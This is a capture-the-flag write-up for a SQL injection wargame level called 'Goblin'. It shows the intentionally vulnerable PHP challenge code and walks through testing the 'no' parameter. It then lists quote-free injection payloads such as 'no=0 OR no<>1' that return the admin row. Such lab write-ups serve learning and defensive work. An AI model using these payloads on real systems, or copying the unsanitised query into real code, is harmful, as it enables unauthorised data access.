Goblin

Filter disallows single quotes, double quotes, and backticks.

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

Line 6: preg_match filters single quotes, double quotes, and backticks.

Line 7: Query has set the value of "id" to "guest".

Line 11: Indicates if the value of "id" is set to "admin", the challenge will be solved.

Query

SELECT id FROM prob_goblin WHERE id='guest' AND no=

Testing

Vulnerable parameter is "no"

no=0 returns nothing, indicating a false statement

no=1 returns "Hello guest", indicating a true statement

no=2 returns nothing, indicating a false statement

From this we can confirm that "no=1" contains the record for "guest".

The logic can be subverted by returning a false statement in addition to a statement that evaluates as true, which can be confirmed by passing a false statement followed by a true statement.

no=0 OR no=1 returns "Hello guest".

The following payloads will return a value other than guest (no=1) and solve the challenge.

no=0 OR no<>1
no=0 OR 1=1 ORDER BY id
no=0 OR no NOT LIKE 1
no=0 OR no LIKE 2
no=0 OR no=2

Effective Query

SELECT id FROM prob_goblin WHERE id='guest' AND no=0 OR no<>1

Last updated